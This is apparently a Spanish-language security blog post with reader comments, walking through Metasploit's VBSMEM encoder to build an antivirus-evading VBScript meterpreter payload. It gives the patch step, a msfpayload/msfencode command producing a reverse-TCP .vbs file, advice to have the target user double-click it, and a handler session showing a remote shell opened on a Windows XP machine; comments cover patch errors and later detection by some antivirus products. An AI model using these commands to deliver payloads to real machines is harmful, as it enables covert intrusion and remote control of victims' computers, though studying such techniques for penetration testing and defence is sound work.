Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Anti-Virus con Metasploit Framework usando VBSMEM – Parte VI
VBSMEM es un encoder incluido en las versiones de MetaSploit FrameWork superiores a la 3.8, nace de la necesidad de una solución al problema que se enfrentar los pentesters a la hora de generar payloads con msfpayload, codificarlos múltiples veces con msfencode para que al final, sean detectados por el AV en la maquina objetivo y no sea posible obtener una sesión meterpreter, lo que desde luego, es bastante frustrante. Se basa en la idea de que, los payloads con VBScript no son detectados por los AV actuales, esto ocurre, porque se ejecutan en memoria y no realizan ningún tipo de operación de escritura en disco, evidentemente el AV confiá en el contenido de una macro que se ejecute dentro de un programa de Microsoft Office (por ejemplo), esto se ha detallado hace unas cuantas entradas, para revisar dicha entrada ver aquí http://thehackerway.com/2012/02/13/intentando-evadir-anti-virus-usando-metasploit-framework-y-visual-basic-contra-plataformas-windows-parte-ii/ tomando este enfoque, se ha implementado el encoder VBSMEM, el cual escribe un shellcode en un fichero VBScript el cual utiliza una librería llamada Dynawrap.dll la cual ejecuta llamadas nativas del sistema operativo en concreto las funciones:
1. VirtualAlloc: Separar un espacio en memoria para la ejecución del shellcode.
2. WriteProcessMemory: Copiar el shellcode en el segmento de memoria separado.
3. CreateThread: Ejecutar el shellcode cargado en memoria.
Por lo demás, para el funcionamiento de este encoder, se utilizan las mismas técnicas de ofuscación para VBScript para ocultar el Shellcode actual de un software AV en la máquina objetivo, la ventaja de esto es que se crea un fichero ejecutable (.vbs) con las mismas características de ofuscación de un fichero en ms office con una macro maliciosa, por lo tanto no es detectable (al menos a día de hoy) por ningún AV del mercado. Los pasos a seguir para conseguir esto son los siguientes:
1. Si se utiliza la versión 3.8 de metasploit o inferior se debe descargar el patch correspondiente y aplicarlo, el patch se encuentra ubicado aquí: http://dev.metasploit.com/redmine/attachments/906/vbsmem-1.2.1.patch
El fichero en concreto que se debe parchar es <DIR_MSF>/lib/msf/util/exe.rb
| /opt/metasploit3/msf3/lib/msf/util# patch <vbsmem-1.2.1.patch
patching file exe.rb Hunk #1 succeeded at 813 (offset 80 lines). Hunk #2 succeeded at 1668 (offset 80 lines). Hunk #3 succeeded at 1693 (offset 80 lines). patching file vbsmem.vbs |
Ahora bien, después de aplicar el patch, se crea el fichero vbsmem.vbs que debe ser ubicado en el directorio <DIR_MSF>/data/templates esto es importante ya que el encoder buscará este fichero en dicha ruta.
NOTA: Después de ejecutar el patch, es necesario comprobar que el fichero vbsmem.vbs creando por el patch, es exactamente igual al que se encuentra en la página anteriormente mencionada, ya que se ha notado que en ocasiones se genera incorrectamente, por lo tanto es necesario comprobar y verificar que no existen diferencias entre el fichero y el listado que aparece en la página.
2. Ahora se puede ejecutar el comando msfpayload con la opción “-t vbsmem” de la siguiente forma
| msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -t vbsmem > /opt/lampp/htdocs/vbsmem_generated.vbs
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) |
3. El fichero generado se entrega al usuario de la máquina objetivo con el fin de que se ejecute dicho script, tan sencillo como realizar un doble click sobre dicho fichero para que se ejecute el payload, luego en la máquina del atacante, se debe establecer el Listener adecuado, en este caso el exploit/multi/handler para recibir la conexión reversa.
| msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.33 LHOST => 192.168.1.33 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.33:4444 [*] Starting the payload handler… [*] Sending stage (749056 bytes) to 192.168.1.38 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.38:1197) at Sun May 29 01:06:06 +0200 2011 meterpreter > sysinfo System Language : en_US OS : Windows XP (Build 2600, Service Pack 3). Computer : ANONYMOUS Architecture : x86 Meterpreter : x86/win32 |
4. Finalmente, el objetivo de hacer un “bypass” del AV se ha conseguido, dado que desde la maquina objetivo, aunque se realice un escaneo del fichero, no se encontrara ningún tipo de amenaza, Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual.
Por otra parte, en el caso de que se encuentre establecido un Firewall en la máquina objetivo, es probable que bloquee la conexión por dicho puerto para la conexión reversa, en estos casos, podría ser útil emplear el payload reverse_tcp_allports explicado en la publicación anterior
Número de Visitas:
Twitter Adastra
- RT @kinomakino: INSEGUROS: Tips & Tricks.FIcheros,Token Kerberos, Dynamic Access Control Windows Server 2012. kinomakino.blogspot.com/2013/05/tips-t… 6 days ago
- RT @SecurityTube: [Video] Tor Based Botnets securitytube.net/video/7544 6 days ago
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails - Parte XXIX wp.me/p1nWCG-CD 1 week ago
- RT @kinomakino: INSEGUROS: Tips & Tricks. Implementación de servidor de sesio... kinomakino.blogspot.com/2013/05/tips-t… 1 week ago
- RT @exploitdb: [local] - Linux Kernel open-time Capability file_ns_capable() Privilege Escalation: Linux Kernel open-time Cap... http://t.c… 1 week ago
- RT @kinomakino: Mi perfil Linkedin lnkd.in/nCatAv 2 weeks ago
- WEB HACKING – Atacando DOJO Hackme Casino – Controladores inseguros en Ruby OnRails - Parte XXVIII wp.me/p1nWCG-Cl 2 weeks ago
Entradas recientes
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails – Parte XXIX
- WEB HACKING – Atacando DOJO Hacme Casino – Controladores inseguros en Ruby OnRails – Parte XXVIII
- WEB HACKING – Atacando DOJO Hacme Casino – Otras Vulnerabilidades Parte XXVII
- WEB HACKING – Atacando DOJO Hacme Casino – Vulnerabilidad CSRF Parte XXVI
- Pasando de Netcat a Cryptcat
- WEB HACKING – Atacando DOJO Vulnerabilidades SQL Injection en Hacme Casino Parte XXV
- WEB HACKING – Atacando DOJO Enumeración Hacme Casino Parte XXIV
- WEB HACKING – Vulnerabilidades en XAMPP (Continuación) – Parte XXIII
- WEB HACKING – Vulnerabilidades en XAMPP – Parte XXII
- 2 años
- W3AFRemote r01 Liberado…
- WEB HACKING – Atacando servidores web vulnerables Tomcat – Parte XXI
- WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX
- WEB HACKING – Ataques directos contra servidores web – Parte XIX
- WEB HACKING – Arquitecturas web vulnerables – Parte XVIII
Entradas
Calendario de Entradas
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido, he comenzado a editar entradas en este blog dado que he llegado a un punto en el que considero que mis conocimientos también pueden favorecer a otros que tengan las ganas de adquirirlos del mismo modo que lo hago yo. Así que con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas con diferentes facetas de la informática con un énfasis especial en la seguridad.
Citando a Galileo:
"Nunca he encontrado una persona tan ignorante de la que no pueda aprender algo."
"No se puede enseñar nada a un hombre; sólo se le puede ayudar a encontrar la respuesta dentro de sí mismo".
Happy Hack!
Blogroll
Blogs Interesantes
Mensajes y Páginas Populares
- Wireless Hacking – Descubriendo APs con SSID ocultos y evadiendo Mac Filters – Parte IV
- Hydra, Ataques de Fuerza Bruta
- Que es el Hacking
- Explotando vulnerabilidades XSS en aplicaciones Web
- Intentando evadir mecanismos y restricciones de Seguridad – Escaneo con NMAP evadiendo Firewalls – Parte VII
- Conceptos Basicos de Meterpreter - MetaSploit Framework
- Conceptos Básicos de Nikto - Técnicas de escaneo de Servidores y Aplicaciones Web
- Creando un "Fake" Access Point Inalámbrico
- Utilizando Reglas Libres de Snort para Detección de Amenazas y Generación de Alarmas
- Payloads Basicos en MetaSploit FrameWork
- Uso practico de John The Ripper
- Preservando el Anonimato y Extendiendo su Uso – Conceptos Esenciales de TOR – Parte I

hola, tengo metasploit actualizado a la version 4.3.0 y no me sale el VBSMEM .¿que puedo hacer?
Gracias
Aplicar el parche, tal y como si indica en esta publicación
eso si, pero como pones “Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual”, y yo lo he actualizado hoy y no me sale, pensaba que me tenia que salir, o ¿quiza tengo que actualizarlo de otra forma?
Gracias
Tienes razón, ha sido una errata en la publicación. En principio iba a estar disponible a partir de la versión 3.8, sin embargo su subida al repositorio de momento se encuentra “rechazada” por lo tanto hay que seguir aplicando el parche hasta que se desbloquee el hilo. Si te interesa puedes estar pendiente del estado de esta tarea en:
https://dev.metasploit.com/redmine/issues/3894
Un Saludo.
ok, estaré pendiente,
Gracias por tu ayuda.
Esto se podria aplicar al firewall y av de windows 7??gracias
Si, tambien aplica.
hola una pregunta a que se debera este error no me deja aplicar el parche ,me sale el siquiente error en consola. un saludo.
atching file exe.rb
Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
Hunk #3 FAILED at 1613.
1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
patching file vbsmem.vbs
atching file exe.rb
Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
Hunk #3 FAILED at 1613.
1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
patching file vbsmem.vbs
Tengo este el Mismo Problema que se puede hacer en ese caso?
Este error es muy comun a la hora de generar este tipo de ataque, la mejor solucion segun lo que pude investigar y garantizando su correcto funcionamiento, No es parchar el archivo exe.rb sino descargar el patch y luego abrirlo con un editor cono vim y empezar a agregarle funciones necesarias al archivo antes nombrado (exe.rb) y por ultimo generar el archivo vbsmem.vbs en la carpeta de /templates para luego generar el ataque, aunque aclaro que lo probre, este metodo ya es detectado por los antivirus como Avast. y haciendo un scaneo en novirusthanks. me lo detecto 4 de 14 antivirus, asi que ya no es tan poderoso como creo que pudo haber sido en sus inicios, un saludo.